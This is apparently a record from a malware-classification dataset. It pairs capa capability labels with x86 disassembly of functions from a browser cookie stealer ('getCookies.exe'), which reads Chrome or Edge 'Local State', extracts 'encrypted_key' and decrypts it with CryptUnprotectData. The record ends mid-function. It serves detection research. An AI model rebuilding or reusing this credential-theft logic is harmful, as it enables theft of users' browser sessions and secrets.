joyce8/EMBER2024-capa huggingface dataset:
Function at 0x439420
Capabilities:
Create thread

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
mov ebp, ecx
mov ebx, edx
push 0
push 0x14
mov dword [esp + 0x1c], ebx
mov dword [ebp], 0
call fcn.004042c0
mov esi, eax
add esp, 8
test esi, esi
jne 0x439453
lea eax, [esi + 7]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
cmp byte [0x4e8b0c], 0
je 0x43949f
mov eax, dword [0x4e8c08]
test eax, eax
je 0x439473
push 0xc8
call eax
add esp, 4
test eax, eax
jne 0x43949f
mov eax, dword [esp + 0x1c]
lea edi, [esi + 8]
mov dword [edi], ebx
lea ebx, [esi + 4]
push ebx
push 0
push esi
push 0x407600
push 0
push 0
mov dword [esi + 0xc], eax
call fcn.004c4ede
add esp, 0x18
mov dword [esi], eax
test eax, eax
jne 0x4394b2
jmp 0x4394a5
lea edi, [esi + 8]
lea ebx, [esi + 4]
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
cmp dword [edi], 0
jne 0x4394cd
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push dword [esp + 0x1c]
mov dword [ebx], eax
call dword [esp + 0x18]
add esp, 4
mov dword [esi + 0x10], eax
pop edi
mov dword [ebp], esi
xor eax, eax
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x48cd00
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x64
push esi
mov esi, dword [ecx + 0x28]
mov dword [esp + 8], ecx
test esi, esi
jne 0x48cd1c
test dword [ecx + 0x38], 0x400
je 0x48ceed
mov eax, dword [ecx + 0xc]
xorps xmm0, xmm0
mov dword [esp + 0xc], eax
xor ecx, ecx
push ebx
push ebp
mov ebp, dword [esp + 0x78]
lea eax, [esp + 0x38]
mov dword [esp + 0x34], eax
xor ebx, ebx
mov eax, dword [esp + 0x74]
mov dword [esp + 0x40], eax
mov eax, dword [ebp]
movlpd qword [esp + 0x1c], xmm0
movlpd qword [esp + 0x24], xmm0
movlpd qword [esp + 0x2c], xmm0
mov dword [esp + 0x3c], edx
mov dword [esp + 0x4c], ebp
mov eax, dword [eax]
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x10]
cmp cx, word [eax + 0x34]
jae 0x48ceeb
add esi, 8
lea ecx, [ebx + 1]
mov dword [esp + 0xc], esi
push edi
nop dword [eax]
mov eax, dword [eax + 4]
movzx eax, word [eax + ebx*2]
cmp ax, 0xfffe
jne 0x48cdd7
mov edx, dword [esi]
mov dword [esp + 0x3c], edx
mov word [esp + 0x6c], cx
mov dword [esp + 0x5c], fcn.00441690
mov dword [esp + 0x60], 0x441570
mov dword [esp + 0x70], 0
test edx, edx
je 0x48cecb
lea ecx, [esp + 0x58]
call fcn.0043bbd0
cmp word [esp + 0x6c], 0
jne 0x48cecb
mov dword [esp + 0x24], 0x48cb60
jmp 0x48ce53
test ax, ax
js 0x48cecb
movsx edi, ax
mov eax, dword [esp + 0x18]
mov ecx, edi
shl ecx, 4
mov eax, dword [eax + 4]
add eax, ecx
movzx ecx, word [eax + 0xe]
test cl, 0x20
je 0x48cecb
test ecx, 0x200
je 0x48ce47
mov eax, dword [eax]
cmp byte [eax], 0
je 0x48ce16
nop dword [eax]
inc eax
cmp byte [eax], 0
jne 0x48ce10
test cl, 4
je 0x48ce26
nop dword [eax + eax]
inc eax
cmp byte [eax], 0
jne 0x48ce20
lea edx, [eax + 1]
mov esi, str.BINARY
sub esi, edx
movzx ecx, byte [edx]
movzx eax, byte [edx + esi]
cmp ecx, eax
jne 0x48cef2
test ecx, ecx
jne 0x48cf04
mov dword [esp + 0x4c], edi
mov dword [esp + 0x24], 0x48cc30
mov edx, dword [ebp + 0x10]
mov dword [esp + 0x48], ebx
test edx, edx
je 0x48ce67
lea ecx, [esp + 0x20]
call fcn.0043bbd0
mov edi, dword [ebp + 8]
test edi, edi
je 0x48ce97
mov esi, dword [edi]
add edi, 8
test esi, esi
jle 0x48ce97
nop word [eax + eax]
mov edx, dword [edi]
lea ecx, [esp + 0x20]
call fcn.0043bca0
test eax, eax
jne 0x48ce97
dec esi
add edi, 0x14
test esi, esi
jg 0x48ce80
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x48cec7
mov esi, dword [edi]
add edi, 8
test esi, esi
jle 0x48cec7
nop word [eax + eax]
mov edx, dword [edi]
lea ecx, [esp + 0x20]
call fcn.0043bca0
test eax, eax
jne 0x48cec7
dec esi
add edi, 0x14
test esi, esi
jg 0x48ceb0
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
inc ebx
add esi, 0x14
mov dword [esp + 0x10], esi
movzx eax, word [ecx + 0x34]
cmp ebx, eax
mov eax, ecx
mov ecx, 1
jl 0x48cd80
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x64
ret
movzx eax, byte [eax + 0x4e0968]
movzx ecx, byte [ecx + 0x4e0968]
sub ecx, eax
jne 0x48cec7
inc edx
jmp 0x48ce30
Function at 0x4b2d30
Capabilities:
Encode data using xor
Manually build aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
mov eax, dword [0x4e8014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
mov edx, 1
nop dword [eax]
mov eax, edx
mov dword [ebp + esi*4 - 0x804], edx
and al, 0x80
mov dword [ebp + edx*4 - 0x404], esi
movzx ecx, al
lea eax, [edx + edx]
neg ecx
sbb ecx, ecx
inc esi
and ecx, 0x1b
xor ecx, eax
xor ecx, edx
movzx edx, cl
cmp esi, 0x100
jl 0x4b2d50
mov esi, 1
mov edx, 0x4ec828
nop dword [eax]
mov eax, esi
mov dword [edx], esi
and al, 0x80
movzx ecx, al
lea eax, [esi + esi]
neg ecx
sbb ecx, ecx
add edx, 4
and ecx, 0x1b
xor ecx, eax
movzx esi, cl
cmp edx, 0x4ec850
jl 0x4b2d90
mov eax, 1
mov byte [0x4ea628], 0x63
mov byte [0x4eb78b], 0
mov dword [ebp - 0x808], eax
nop dword [eax]
mov ecx, dword [ebp + eax*4 - 0x404]
lea eax, [ebp - 0x408]
shl ecx, 2
sub eax, ecx
mov ebx, dword [eax]
mov ecx, ebx
sar ecx, 7
lea eax, [ebx + ebx]
or ecx, eax
movzx eax, cl
xor ebx, eax
mov ecx, eax
shr ecx, 7
add eax, eax
or ecx, eax
movzx eax, cl
xor ebx, eax
mov ecx, eax
add eax, eax
shr ecx, 7
or ecx, eax
movzx edx, cl
mov ecx, edx
shr ecx, 7
lea eax, [edx + edx]
or ecx, eax
xor ecx, 0x63
movzx eax, cl
xor eax, edx
xor ebx, eax
mov eax, dword [ebp - 0x808]
mov byte [eax + 0x4ea628], bl
mov byte [ebx + 0x4eb728], al
inc eax
mov dword [ebp - 0x808], eax
cmp eax, 0x100
jl 0x4b2dd0
mov edi, 0xff
xor esi, esi
mov dword [ebp - 0x80c], edi
nop
movzx edx, byte [esi + 0x4ea628]
mov eax, edx
movzx ebx, byte [esi + 0x4eb728]
and al, 0x80
mov dword [ebp - 0x808], ebx
movzx ecx, al
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x1b
xor ecx, eax
movzx eax, cl
mov ecx, eax
xor ecx, edx
shl ecx, 8
xor ecx, edx
shl ecx, 8
xor ecx, edx
shl ecx, 8
xor ecx, eax
mov dword [esi*4 + 0x4ea728], ecx
rol ecx, 8
mov dword [esi*4 + 0x4eab28], ecx
rol ecx, 8
mov dword [esi*4 + 0x4eaf28], ecx
rol ecx, 8
mov dword [esi*4 + 0x4eb328], ecx
test ebx, ebx
je 0x4b2f23
mov eax, dword [ebp + ebx*4 - 0x404]
add eax, dword [ebp - 0x3d8]
cdq
idiv edi
mov eax, dword [ebp + ebx*4 - 0x404]
add eax, dword [ebp - 0x3d0]
mov ecx, dword [ebp + edx*4 - 0x804]
cdq
idiv edi
mov eax, dword [ebp + ebx*4 - 0x404]
mov ebx, 0xff
add eax, dword [ebp - 0x3e0]
mov edi, dword [ebp + edx*4 - 0x804]
cdq
idiv ebx
mov eax, dword [ebp - 0x808]
mov eax, dword [ebp + eax*4 - 0x404]
add eax, dword [ebp - 0x3cc]
mov ebx, dword [ebp + edx*4 - 0x804]
cdq
idiv dword [ebp - 0x80c]
mov eax, dword [ebp + edx*4 - 0x804]
jmp 0x4b2f2b
xor ecx, ecx
xor edi, edi
xor ebx, ebx
xor eax, eax
shl ecx, 8
xor ecx, edi
mov edi, 0xff
shl ecx, 8
xor ecx, ebx
shl ecx, 8
xor ecx, eax
mov dword [esi*4 + 0x4eb828], ecx
rol ecx, 8
mov dword [esi*4 + 0x4ebc28], ecx
rol ecx, 8
mov dword [esi*4 + 0x4ec028], ecx
rol ecx, 8
mov dword [esi*4 + 0x4ec428], ecx
inc esi
cmp esi, 0x100
jl 0x4b2e50
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004bab62
mov esp, ebp
pop ebp
ret
Function at 0x4b8cf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x4e8014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x30], ebx
push eax
push 0x10
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0
push ebx
movups xmmword [ebp - 0x14], xmm0
call fcn.004b4f30
add esp, 0x14
test eax, eax
jne 0x4b8ed8
movzx eax, byte [ebp - 0x13]
xor edx, edx
movzx ecx, byte [ebp - 0x10]
push esi
movzx esi, byte [ebp - 0x14]
shl esi, 8
or esi, eax
shl ecx, 8
movzx eax, byte [ebp - 0x12]
shl esi, 8
or esi, eax
mov dword [ebx + 0xb8], 0
movzx eax, byte [ebp - 0x11]
shl esi, 8
or esi, eax
mov dword [ebx + 0xbc], 0
movzx eax, byte [ebp - 0xf]
or ecx, eax
mov dword [ebx + 0xfc], esi
movzx eax, byte [ebp - 0xe]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x38], 0
movzx eax, byte [ebp - 0xd]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x3c], 0
movzx eax, byte [ebp - 0xb]
or edx, ecx
movzx ecx, byte [ebp - 8]
push edi
movzx edi, byte [ebp - 0xc]
shl edi, 8
or edi, eax
shl ecx, 8
movzx eax, byte [ebp - 0xa]
shl edi, 8
or edi, eax
mov dword [ebp - 0x1c], edx
movzx eax, byte [ebp - 9]
xor edx, edx
shl edi, 8
or edi, eax
mov dword [ebp - 0x20], 4
movzx eax, byte [ebp - 7]
or ecx, eax
mov dword [ebx + 0x7c], edi
movzx eax, byte [ebp - 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [ebp - 5]
shl ecx, 8
or ecx, eax
or edx, ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], edx
mov dword [ebx + 0x78], edx
mov dword [ebx + 0xf8], ecx
nop dword [eax + eax]
shrd dword [ebp - 0x18], edi, 1
shl ecx, 0x1f
and edx, 1
shr edi, 1
xor eax, eax
or dword [ebp - 0x18], eax
or edi, ecx
mov ecx, dword [ebp - 0x1c]
shrd ecx, esi, 1
imul edx, edx, 0xe1000000
xor ecx, eax
shr esi, 1
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], ecx
xor esi, edx
mov edx, dword [ebp - 0x18]
mov dword [ebx + eax*8 + 0x38], edx
mov dword [ebx + eax*8 + 0x3c], edi
mov dword [ebx + eax*8 + 0xb8], ecx
mov dword [ebx + eax*8 + 0xbc], esi
shr eax, 1
mov dword [ebp - 0x20], eax
jne 0x4b8e00
mov ecx, 2
mov dword [ebp - 0x20], ecx
lea edi, [ecx + 0x17]
mov eax, dword [ebx + edi*8]
lea edi, [ebx + edi*8]
mov dword [ebp - 0x1c], eax
lea edx, [ecx + 7]
mov eax, dword [edi + 4]
lea edx, [ebx + edx*8]
mov dword [ebp - 0x18], eax
mov eax, dword [edx]
mov dword [ebp - 0x28], eax
mov eax, dword [edx + 4]
mov dword [ebp - 0x2c], eax
cmp ecx, 1
jle 0x4b8eca
lea eax, [ebx + 0x40]
sub edi, edx
lea esi, [edx + 8]
lea ebx, [ecx - 1]
nop dword [eax + eax]
mov ecx, dword [eax + 0x84]
lea eax, [eax + 8]
xor ecx, dword [ebp - 0x18]
lea esi, [esi + 8]
mov edx, dword [ebp - 0x1c]
xor edx, dword [eax + 0x78]
mov dword [edi + esi - 8], edx
mov edx, dword [ebp - 0x28]
mov dword [edi + esi - 4], ecx
mov ecx, dword [eax - 4]
xor edx, dword [eax - 8]
xor ecx, dword [ebp - 0x2c]
mov dword [esi - 8], edx
mov dword [esi - 4], ecx
sub ebx, 1
jne 0x4b8e90
mov ecx, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x30]
add ecx, ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 8
jle 0x4b8e55
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004bab62
mov esp, ebp
pop ebp
ret
Function at 0x4b90d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4e8014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x28]
push edi
push dword [ebp + 0x1c]
mov edi, dword [ebp + 0x2c]
push eax
push dword [ebp + 0x14]
mov dword [ebp - 0x24], edi
push ecx
push 0
push ebx
call fcn.004b94d0
add esp, 0x18
test eax, eax
jne 0x4b9253
push edi
push esi
mov esi, dword [ebp + 0xc]
push esi
push ebx
call fcn.004b96a0
add esp, 0x10
test eax, eax
jne 0x4b9253
push dword [ebp + 0x24]
lea eax, [ebp - 0x14]
push eax
push ebx
call fcn.004b9270
add esp, 0xc
test eax, eax
jne 0x4b9253
mov ecx, dword [ebp + 0x24]
xor ebx, ebx
test ecx, ecx
je 0x4b9251
cmp ecx, 8
jb 0x4b91ff
mov edx, ecx
lea esi, [ebp - 0x14]
and edx, 0xfffffff8
xorps xmm4, xmm4
mov dword [ebp - 0x1c], edx
xorps xmm3, xmm3
mov edx, dword [ebp + 0x20]
sub esi, edx
mov dword [ebp - 0x20], esi
mov ebx, edx
mov edi, dword [ebp - 0x20]
lea esi, [ebp - 0x10]
sub esi, edx
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], esi
nop
movd xmm2, dword [edi + ebx]
lea ebx, [ebx + 8]
movd xmm1, dword [ebx - 8]
xorps xmm0, xmm0
mov esi, dword [ebp - 0x18]
add eax, 8
punpcklbw xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
pxor xmm2, xmm1
movd xmm1, dword [ebx - 4]
punpcklbw xmm1, xmm0
por xmm4, xmm2
movd xmm2, dword [esi + ebx - 8]
mov esi, dword [ebp + 0xc]
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
pxor xmm2, xmm1
por xmm3, xmm2
cmp eax, edx
jb 0x4b9180
mov edi, dword [ebp - 0x24]
por xmm3, xmm4
movaps xmm0, xmm3
psrldq xmm0, 8
por xmm3, xmm0
movups xmm0, xmm3
psrldq xmm0, 4
por xmm3, xmm0
movd ebx, xmm3
cmp eax, ecx
jae 0x4b9220
mov esi, dword [ebp + 0x20]
lea ecx, [ebp - 0x14]
sub esi, ecx
lea ecx, [ebp - 0x14]
add ecx, eax
inc eax
movzx edx, byte [esi + ecx]
movzx ecx, byte [ecx]
xor edx, ecx
or ebx, edx
cmp eax, dword [ebp + 0x24]
jb 0x4b9207
mov esi, dword [ebp + 0xc]
test ebx, ebx
je 0x4b9251
test esi, esi
je 0x4b923b
nop dword [eax + eax]
mov byte [edi], 0
lea edi, [edi + 1]
sub esi, 1
jne 0x4b9230
pop edi
pop esi
mov eax, 0xffffffee
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004bab62
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004bab62
mov esp, ebp
pop ebp
ret
Function at 0x4b9270
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x4e8014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edx, dword [ebx + 0x138]
mov eax, dword [ebx + 0x13c]
mov ecx, dword [ebx + 0x140]
mov edi, dword [ebp + 0xc]
shld eax, edx, 3
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x20], eax
mov eax, dword [ebx + 0x144]
shld eax, ecx, 3
shl edx, 3
shl ecx, 3
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
test esi, esi
je 0x4b92ee
cmp esi, 0x10
ja 0x4b93f5
cmp esi, 4
jb 0x4b93f5
push esi
lea eax, [ebx + 0x148]
push eax
push edi
call fcn.004bbbe0
mov edx, dword [ebp - 0x24]
add esp, 0xc
mov ecx, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x18]
mov eax, edx
or eax, dword [ebp - 0x20]
jne 0x4b9302
mov eax, ecx
or eax, edi
je 0x4b93e2
mov eax, edi
mov byte [ebp - 5], dl
shr eax, 0x18
mov byte [ebp - 0x14], al
mov eax, edi
shr eax, 0x10
mov byte [ebp - 0x13], al
mov eax, edi
mov edi, dword [ebp - 0x18]
shr eax, 8
mov byte [ebp - 0x12], al
mov eax, dword [ebp - 0x18]
mov byte [ebp - 0x11], al
shrd ecx, eax, 0x18
mov eax, edi
mov byte [ebp - 0x10], cl
mov ecx, dword [ebp - 0x1c]
shrd ecx, eax, 0x10
mov byte [ebp - 0xf], cl
mov ecx, dword [ebp - 0x1c]
mov eax, ecx
shrd eax, edi, 8
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0xe], al
mov byte [ebp - 0xd], cl
mov ecx, dword [ebp - 0x20]
mov eax, ecx
shr eax, 0x18
mov byte [ebp - 0xc], al
mov eax, ecx
shr eax, 0x10
mov byte [ebp - 0xb], al
mov eax, ecx
shr eax, 8
mov byte [ebp - 0xa], al
mov eax, edi
mov byte [ebp - 9], cl
mov ecx, edx
shrd ecx, eax, 0x18
mov eax, edi
mov byte [ebp - 8], cl
mov ecx, edx
shrd ecx, eax, 0x10
mov eax, edx
lea edx, [ebp - 0x13]
shrd eax, edi, 8
mov byte [ebp - 7], cl
mov edi, 4
mov byte [ebp - 6], al
lea eax, [ebx + 0x169]
movzx ecx, byte [edx - 1]
lea edx, [edx + 4]
xor byte [eax - 1], cl
lea eax, [eax + 4]
movzx ecx, byte [edx - 4]
xor byte [eax - 4], cl
movzx ecx, byte [edx - 3]
xor byte [eax - 3], cl
movzx ecx, byte [edx - 2]
xor byte [eax - 2], cl
sub edi, 1
jne 0x4b9396
lea edi, [ebx + 0x168]
push edi
push edi
push ebx
call fcn.004b8ef0
add esp, 0xc
xor ecx, ecx
test esi, esi
je 0x4b93e2
mov edx, dword [ebp - 0x28]
mov al, byte [edi + ecx]
xor byte [edx + ecx], al
inc ecx
cmp ecx, esi
jb 0x4b93d7
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004bab62
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 0xffffffec
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004bab62
mov esp, ebp
pop ebp
ret
Function at 0x4b94d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x4e8014]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x10]
xorps xmm0, xmm0
push ebx
mov ebx, dword [ebp + 0x14]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x28], 0
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x18], edi
lea esi, [edi + 0x158]
mov dword [ebp - 0x24], esi
lea eax, [edi + 0x168]
mov dword [ebp - 0x20], eax
movups xmmword [esi], xmm0
movups xmmword [eax], xmm0
mov eax, dword [ebp + 0xc]
mov dword [edi + 0x178], eax
mov dword [edi + 0x138], 0
mov dword [edi + 0x13c], 0
mov dword [edi + 0x140], 0
mov dword [edi + 0x144], 0
cmp ebx, 0xc
jne 0x4b955e
push ebx
push edx
push esi
call fcn.004bbbe0
mov byte [edi + 0x167], 1
jmp 0x4b960f
lea ecx, [ebx*8]
mov eax, ecx
shr eax, 0x18
movups xmmword [ebp - 0x14], xmm0
mov byte [ebp - 8], al
mov eax, ecx
shr eax, 0x10
mov byte [ebp - 7], al
mov al, bl
shr ecx, 8
shl al, 3
mov byte [ebp - 6], cl
mov byte [ebp - 5], al
test ebx, ebx
je 0x4b95d0
nop dword [eax + eax]
mov edi, 0x10
cmp ebx, edi
cmovb edi, ebx
test edi, edi
je 0x4b95b4
mov ecx, esi
mov esi, edi
mov al, byte [edx]
lea edx, [edx + 1]
xor byte [ecx], al
lea ecx, [ecx + 1]
sub esi, 1
jne 0x4b95a2
mov esi, dword [ebp - 0x24]
push esi
push esi
push dword [ebp - 0x18]
call fcn.004b8ef0
mov edx, dword [ebp - 0x1c]
add esp, 0xc
add edx, edi
mov dword [ebp - 0x1c], edx
sub ebx, edi
jne 0x4b9590
mov edi, dword [ebp - 0x18]
lea edx, [ebp - 0x13]
mov ebx, 4
lea ecx, [edi + 0x159]
nop
movzx eax, byte [edx - 1]
lea edx, [edx + 4]
xor byte [ecx - 1], al
lea ecx, [ecx + 4]
movzx eax, byte [edx - 4]
xor byte [ecx - 4], al
movzx eax, byte [edx - 3]
xor byte [ecx - 3], al
movzx eax, byte [edx - 2]
xor byte [ecx - 2], al
sub ebx, 1
jne 0x4b95e0
push esi
push esi
push edi
call fcn.004b8ef0
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
lea eax, [edi + 0x148]
push eax
push 0x10
push esi
push edi
call fcn.004b4f30
add esp, 0x14
test eax, eax
jne 0x4b9685
mov ebx, dword [ebp + 0x1c]
mov dword [edi + 0x140], ebx
mov dword [edi + 0x144], eax
test ebx, ebx
je 0x4b9683
mov eax, dword [ebp + 0x18]
mov edi, 0x10
cmp ebx, edi
cmovb edi, ebx
test edi, edi
je 0x4b9667
mov edx, eax
mov esi, edi
mov eax, dword [ebp - 0x20]
mov cl, byte [edx]
lea edx, [edx + 1]
xor byte [eax], cl
lea eax, [eax + 1]
sub esi, 1
jne 0x4b9658
mov eax, dword [ebp - 0x20]
push eax
push eax
push dword [ebp - 0x18]
call fcn.004b8ef0
mov eax, dword [ebp + 0x18]
add esp, 0xc
add eax, edi
mov dword [ebp + 0x18], eax
sub ebx, edi
jne 0x4b9643
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004bab62
mov esp, ebp
pop ebp
ret
Function at 0x4b9ed0
Capabilities:
Check if file exists
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x4e800c], 0
mov eax, dword [0x4ef740]
lea eax, [eax + 0x4ed740]
jne 0x4b9eee
push str.___Try_To_Get_Cookies_From_Chrome_Browser_r_n
jmp 0x4b9ef3
push str.___Try_To_Get_Cookies_From_Edge_Browser_r_n
push eax
call fcn.004b8c80
add eax, dword [0x4ef740]
add esp, 8
mov dword [0x4ef740], eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004ba580
mov ecx, eax
add esp, 8
cmp ecx, 0xffffffff
jne 0x4b9f3d
mov eax, dword [0x4ef740]
push str.____Get_Encrypt_Key_Failed_r_n
lea eax, [eax + 0x4ed740]
push eax
call fcn.004b8c80
add esp, 8
add dword [0x4ef740], eax
pop ebp
ret
movzx eax, byte [0x4ed33c]
test ecx, ecx
mov edx, 1
cmove eax, edx
mov byte [0x4ed33c], al
pop ebp
jmp fcn.004b9bc0
Function at 0x4ba400
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x4e8014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x218]
push esi
push edi
push eax
push ebx
mov dword [ebp - 0x218], 0
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, eax
test esi, esi
je 0x4ba561
lea ecx, [esi + 1]
push ecx
call fcn.004bad8f
push 0x105
mov edi, eax
mov dword [ebp - 0x210], 0
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x214], 0
push 0
push eax
call fcn.004bb940
push 0x100
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.004bb940
add esp, 0x1c
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x4ba561
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x214]
push eax
push str.VarFileInfoTranslation
push edi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x4ba561
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
xor esi, esi
nop dword [eax]
mov ecx, dword [ebp - 0x214]
movzx eax, word [ecx + esi + 2]
push eax
movzx eax, word [ecx + esi]
push eax
lea eax, [ebp - 0x20c]
push str.StringFileInfo_04x_04xFileVersion
push eax
call ebx
add esp, 0x10
mov dword [ebp - 0x210], 0x104
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x20c]
push eax
push edi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
jne 0x4ba529
cmp esi, 0x10
jae 0x4ba561
add esi, 4
cmp esi, 0x10
jb 0x4ba4c0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004bab62
mov esp, ebp
pop ebp
ret
mov eax, dword [0x4ef740]
push dword [ebp - 0x104]
push str.FireFox:_s_r_n
lea eax, [eax + 0x4ed740]
push eax
call fcn.004b8c80
add esp, 0xc
add dword [0x4ef740], eax
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004bab62
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004bab62
mov esp, ebp
pop ebp
ret
Function at 0x4ba580
Capabilities:
Check if file exists
Encrypt data using dpapi
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov eax, dword [0x4e8014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x10c]
push edi
mov edi, dword [ebp + 8]
push 0x105
push 0
push eax
call fcn.004bb940
push str.Local_State
push esi
push edi
lea eax, [ebp - 0x10c]
push str._s_s_s
push eax
call fcn.004b8c80
add esp, 0x20
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4ba7af
push 0
push 0x80
push 3
push 0
push 1
push 0x120089
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4ba7af
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push 4
push 0x1000
lea ecx, [esi + 1]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
mov ebx, eax
mov dword [ebp - 0x118], 0
lea eax, [ebp - 0x118]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4ba7af
push ebx
call sym.getCookies.exe__cJSON_Parse_4
test eax, eax
je 0x4ba7af
push str.os_crypt
push eax
call sym.getCookies.exe__cJSON_GetObjectItem_8
test eax, eax
je 0x4ba7c3
push str.encrypted_key
push eax
call sym.getCookies.exe__cJSON_GetObjectItem_8
test eax, eax
je 0x4ba7c3
push eax
call sym.getCookies.exe__cJSON_GetStringValue_4
mov edi, eax
test edi, edi
je 0x4ba7c3
mov esi, edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4ba696
sub esi, ecx
push esi
call fcn.004bad8f
push esi
push 0
push eax
mov dword [ebp - 0x110], eax
call fcn.004bb940
push dword [ebp - 0x110]
push esi
push edi
call fcn.004b4ce0
mov esi, dword [ebp - 0x110]
add esp, 0x1c
xorps xmm0, xmm0
mov dword [ebp - 0x114], 0
add eax, 0xfffffffb
movlpd qword [ebp - 0x120], xmm0
mov dword [ebp - 0x128], eax
lea ecx, [esi + 5]
push 0
mov dword [ebp - 0x124], ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x800
push 0
push 0x4ecb38
call fcn.004bb940
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x4ba798
mov edi, dword [ebp - 0x120]
mov esi, dword [ebp - 0x11c]
push edi
push esi
push 0x4ecb38
call fcn.004bbbe0
add esp, 0xc
mov dword [0x4ed338], edi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
call esi
push dword [ebp - 0x114]
call esi
push 0x8000
push 0
push ebx
